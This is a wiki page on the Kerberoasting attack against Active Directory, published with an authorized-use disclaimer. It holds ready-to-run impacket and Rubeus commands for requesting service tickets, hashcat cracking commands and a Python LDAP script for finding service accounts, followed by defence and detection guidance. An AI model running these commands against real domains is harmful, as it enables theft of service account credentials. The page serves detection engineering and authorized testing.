Skip to content
λmaldev wiki/
pagesKerberoasting
T1558.003WindowsPythonPowerShellKerberosActive Directory

Kerberoasting

updated 2026-08-048 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

Any authenticated domain user can request a Kerberos service ticket (TGS) for any registered service principal name (SPN). The KDC encrypts part of the ticket with the service account’s password hash. An attacker requests tickets for every service account SPN, exports the encrypted blobs, and cracks them offline — never touching LSASS, never opening a privileged handle.

The attack requires only a valid domain account (which any employee has) and network access to the KDC on port 88. The cracking is entirely offline. This makes Kerberoasting one of the most passive credential-access techniques available — it produces minimal network noise and requires no elevated privileges to execute.

Caution.

RC4-encrypted tickets (etype 0x17) crack in seconds on a GPU for short passwords. Enforcing AES-only Kerberos encryption (msDS-SupportedEncryptionTypes = 0x18) across all service accounts eliminates this shortcut, though AES tickets are still crackable if the password is weak.

The call chain

  1. 1
    enumerate SPNs (LDAP query)
    Find all service principal names in the domain — these identify accounts with Kerberos service tickets.
  2. 2
    KerberosRequestorSecurityToken / GetTGSTicket
    Request a TGS ticket for each SPN — the KDC encrypts the ticket with the service account's hash.
  3. 3
    export ticket from memory
    Pull the raw ticket bytes from the Kerberos credential cache using LSASS APIs or Mimikatz.
  4. 4
    crack offline
    Feed the ticket blob to hashcat or john; RC4 encryption (etype 23) is orders of magnitude faster to crack than AES.

Reference implementation

Python (impacket — remote, no domain join required)

kerberoast.shshell
# Enumerate SPNs and request tickets — works from Linux
$ python3 GetUserSPNs.py corp.local/jsmith:Password1 -outputfile hashes.txt
Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName              Name       MemberOf  PasswordLastSet
--------------------------------  ---------  --------  -------------------
MSSQLSvc/sql01.corp.local:1433    svc_sql    -         2024-01-15 09:12:33
HTTP/intranet.corp.local          svc_web    -         2023-11-02 14:45:00
SPNs found: 2

$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/sql01.corp.local:1433*$a3c8...
$krb5tgs$23$*svc_web$CORP.LOCAL$HTTP/intranet.corp.local*$f9d2...

PowerShell (Rubeus — on-host)

kerberoast.ps1PowerShell
# Rubeus: request tickets for all SPNs, output in hashcat format
.\Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

# Target only accounts with RC4 enabled for faster cracking
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes_rc4.txt

# Target a single high-value account
.\Rubeus.exe kerberoast /user:svc_sql /format:hashcat

Cracking with hashcat

crack.shshell
# RC4 ticket (etype 23) — mode 13100
$ hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt         -r /usr/share/hashcat/rules/best64.rule

# AES256 ticket (etype 18) — mode 19700 (slower)
$ hashcat -m 19700 hashes_aes.txt /usr/share/wordlists/rockyou.txt

SPN enumeration via LDAP

enum_spns.pyPython
from ldap3 import Server, Connection, SUBTREE, ALL_ATTRIBUTES

def enum_spns(dc_ip, domain, username, password):
  s = Server(dc_ip, get_info='ALL')
  c = Connection(s, f"{domain}\\{username}", password, auto_bind=True)
  
  base_dn = ','.join(f'DC={part}' for part in domain.split('.'))
  c.search(base_dn,
           '(&(objectClass=user)(servicePrincipalName=*))',
           SUBTREE,
           attributes=['sAMAccountName','servicePrincipalName',
                       'pwdLastSet','msDS-SupportedEncryptionTypes'])
  for entry in c.entries:
      enc_types = int(getattr(entry, 'msDS-SupportedEncryptionTypes', 0) or 0)
      rc4_allowed = not (enc_types & 0x4)   # 0x4 = AES128; if absent, RC4 is default
      print(f"[{'RC4' if rc4_allowed else 'AES'}] {entry.sAMAccountName}")
      for spn in entry.servicePrincipalName:
          print(f"  SPN: {spn}")

Defence

Control Effect
Strong service account passwords (25+ random chars) Cracking infeasible even with GPU
AES-only Kerberos (msDS-SupportedEncryptionTypes = 0x18) No RC4 tickets; AES still crackable but much slower
Group Managed Service Accounts (gMSA) 120-char auto-rotating password; practically uncrackable
Honey SPN accounts Zero-FP alert on any ticket request
EID 4769 alerting on etype 0x17 requests Real-time detection

gMSA is the permanent fix. Converting service accounts to gMSA eliminates the human-chosen password that makes kerberoasting viable.

Detection

WINDOWS EID 4769
Kerberos service ticket request with encryption type 0x17 (RC4-HMAC) for an account that normally uses AES.
BEHAVIOURAL
A single account requesting TGS tickets for dozens of different SPNs in a short window.
THREAT INTEL
hashcat / impacket / Rubeus tool signatures on disk or in command-line arguments.
HONEY TOKEN
A fake service account SPN that no legitimate process should ever request a ticket for — any request is an alert.
T1558.001Golden TicketFull domain compromise — forge TGTs with the krbtgt hash.
T1003.001LSASS Memory DumpAlternative credential source; both target domain account material.
T1550.003Pass-the-TicketUse stolen or forged tickets without cracking — requires the ticket itself, not the hash.
Was this page useful?edit this page ↗